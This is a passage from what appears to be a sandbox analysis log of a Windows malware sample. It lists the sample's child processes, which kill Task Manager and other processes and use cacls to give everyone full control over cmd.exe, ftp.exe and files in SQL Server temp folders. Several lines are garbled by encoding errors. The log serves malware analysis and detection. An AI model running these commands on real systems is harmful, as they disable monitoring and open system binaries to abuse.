    Cacls "E:\Windows\svchost.com" /t /e /c /r system
    3⤵
    - Enumerates connected drives
    PID:3236
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im svchost.com
    3⤵
    PID:5400
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im WavesSys.exe
    3⤵
    - Kills process with taskkill
    PID:7808
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SvidaPctb.exe
    3⤵
    PID:6588
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im GthUdTask.exe
    3⤵
    PID:3380
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im BthUdTask.exe
    3⤵
    PID:4888
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im OmdBase.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    PID:6376
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im System.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    PID:6632
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Maker" /t /e /c /d everyone
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7756
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Maker" /t /e /c /d system
    3⤵
    PID:7804
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Maker" /t /e /c /d everyone
    3⤵
    PID:7664
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cacls.exe /e /t /g everyone:f
  2⤵
  PID:3856
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
    3⤵
    PID:7828
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cacls.exe /e /t /g everyone:f
  2⤵
  PID:6396
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
    3⤵
    PID:7472
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
  2⤵
  PID:2360
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
    3⤵
    PID:4980
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:788
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1552
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cacls.exe /e /t /g system:f
  2⤵
  PID:6544
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g system:f
    3⤵
    PID:7736
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cacls.exe /e /t /g system:f
  2⤵
  PID:8000
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
    3⤵
    PID:7772
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cacls.exe /e /t /g system:f
  2⤵
  PID:6248
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g system:f
    3⤵
    PID:6592
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
  2⤵
  PID:4504
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
    3⤵
    PID:4700
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cmd.exe /e /t /g everyone:f
  2⤵
  PID:6736
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
    3⤵
    PID:4516
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cmd.exe /e /t /g everyone:f
  2⤵
  PID:7416
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
    3⤵
    PID:2720
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
  2⤵
  PID:416
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
    3⤵
    PID:7988
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
  2⤵
  PID:7444
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
    3⤵
    PID:1344
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cmd.exe /e /t /g system:f
  2⤵
  PID:3960
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g system:f
    3⤵
    PID:6240
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cmd.exe /e /t /g system:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4760
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
    3⤵
    PID:6332
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cmd.exe /e /t /g system:f
  2⤵
  PID:7636
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g system:f
    3⤵
    PID:6900
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3444
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
    3⤵
    PID:6868
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\ftp.exe /e /t /g everyone:f
  2⤵
  PID:6448
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
    3⤵
    PID:3708
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\ftp.exe /e /t /g everyone:f
  2⤵
  PID:5764
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3604
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
  2⤵
  PID:5236
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4128
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
    3⤵
    PID:4944
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
  2⤵
  PID:5716
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
    3⤵
    PID:4624
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\ftp.exe /e /t /g system:f
  2⤵
  PID:3168
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g system:f
    3⤵
    PID:2596
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\ftp.exe /e /t /g system:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6364
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1152
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
    3⤵
    PID:1852
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\ftp.exe /e /t /g system:f
  2⤵
  PID:4808
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2296
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g system:f
    3⤵
    PID:7392
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
  2⤵
  PID:7076
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
    3⤵
    PID:5864
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g system:f
  2⤵
  PID:5776
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g system:f
    3⤵
    PID:7900
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
  2⤵
  PID:5012
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
    3⤵
    PID:2148
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
  2⤵
  PID:1156
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
    3⤵
    PID:7136
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6636
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
    3⤵
    PID:1740
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:1080
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:5176
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:6180
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6392
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
  2⤵
  PID:7964
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
    3⤵
    PID:5780
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:7952
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6168
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:7984
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:6708
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:6692
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:1596
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:8052
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:7248
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:7992
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:7680
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:8172
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:5212
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:8076
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:1636
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:8140
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:7816
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:8112
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:8156
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:4560
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:2264
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:1336
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:8080
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:5096
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im cmd.exe
  2⤵
  PID:7468
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    PID:7056
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im cacls.exe
  2⤵
  PID:6888
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cacls.exe
    3⤵
    PID:7388
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\VBS.vbs"
  2⤵
  PID:1992
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im taskmgr.exe
  2⤵
  PID:4908
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:5792
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cacls.exe /e /t /g everyone:f
  2⤵
  PID:8096
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
    3⤵
    PID:7420
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cacls.exe /e /t /g everyone:f
  2⤵
  PID:3908
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
    3⤵
    PID:2084
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
  2⤵
  PID:7680
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
    3⤵
    PID:1740
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
  2⤵
  PID:5864
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6896
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cacls.exe /e /t /g system:f
  2⤵
  PID:1820
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g system:f
    3⤵
    PID:3836
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cacls.exe /e /t /g system:f
  2⤵
  PID:7560
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
    3⤵
    PID:8020
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cacls.exe /e /t /g system:f
  2⤵
  PID:1800
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g system:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:8136
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
  2⤵
  PID:1312
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
    3⤵
    PID:7112
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cmd.exe /e /t /g everyone:f
  2⤵
  PID:8116
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
    3⤵
    PID:5768
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cmd.exe /e /t /g everyone:f
  2⤵
  PID:708
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
    3⤵
    PID:4288
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
  2⤵
  PID:6600
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
    3⤵
    PID:5736
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
  2⤵
  PID:1804
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
    3⤵
    PID:1456
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cmd.exe /e /t /g system:f
  2⤵
  PID:6236
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g system:f
    3⤵
    PID:476
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cmd.exe /e /t /g system:f
  2⤵
  PID:5372
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
    3⤵
    PID:7484
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cmd.exe /e /t /g system:f
  2⤵
  PID:5212
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g system:f
    3⤵
    PID:3352
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
  2⤵
  PID:7176
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
    3⤵
    PID:7656
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\ftp.exe /e /t /g everyone:f
  2⤵
  PID:6072
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
    3⤵
    PID:2868
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\ftp.exe /e /t /g everyone:f
  2⤵
  PID:3292
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
    3⤵
    PID:856
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
  2⤵
  PID:3488
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
    3⤵
    PID:6484
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
  2⤵
  PID:7552
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7976
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\ftp.exe /e /t /g system:f
  2⤵
  PID:1420
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g system:f
    3⤵
    PID:7060
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\ftp.exe /e /t /g system:f
  2⤵
  PID:2728
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
    3⤵
    PID:5028
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\ftp.exe /e /t /g system:f
  2⤵
  PID:260
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g system:f
    3⤵
    PID:7796
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
  2⤵
  PID:2192
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
    3⤵
    PID:7432
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g system:f
  2⤵
  PID:4700
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g system:f
    3⤵
    PID:3552
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
  2⤵
  PID:7248
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
    3⤵
    PID:2740
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
  2⤵
  PID:7632
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
    3⤵
    PID:3912
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
  2⤵
  PID:8032
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
    3⤵
    PID:6368
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:6020
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:3904
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:7872
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:3208
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
  2⤵
  PID:5188
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
    3⤵
    PID:5336
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:1252
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6104
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:7536
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:1352
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:2180
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:4824
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:1640
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:6872
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:5840
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:8176
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:7868
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:2744
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:6188
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:1536
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:6176
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:1988
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:7152
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2772
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:5592
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:7240
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:5600
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:1196
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6528
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    PID:2092
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im cacls.exe
  2⤵
  PID:7860
- - C:\Windows\SysWOW64\taskkill.exe
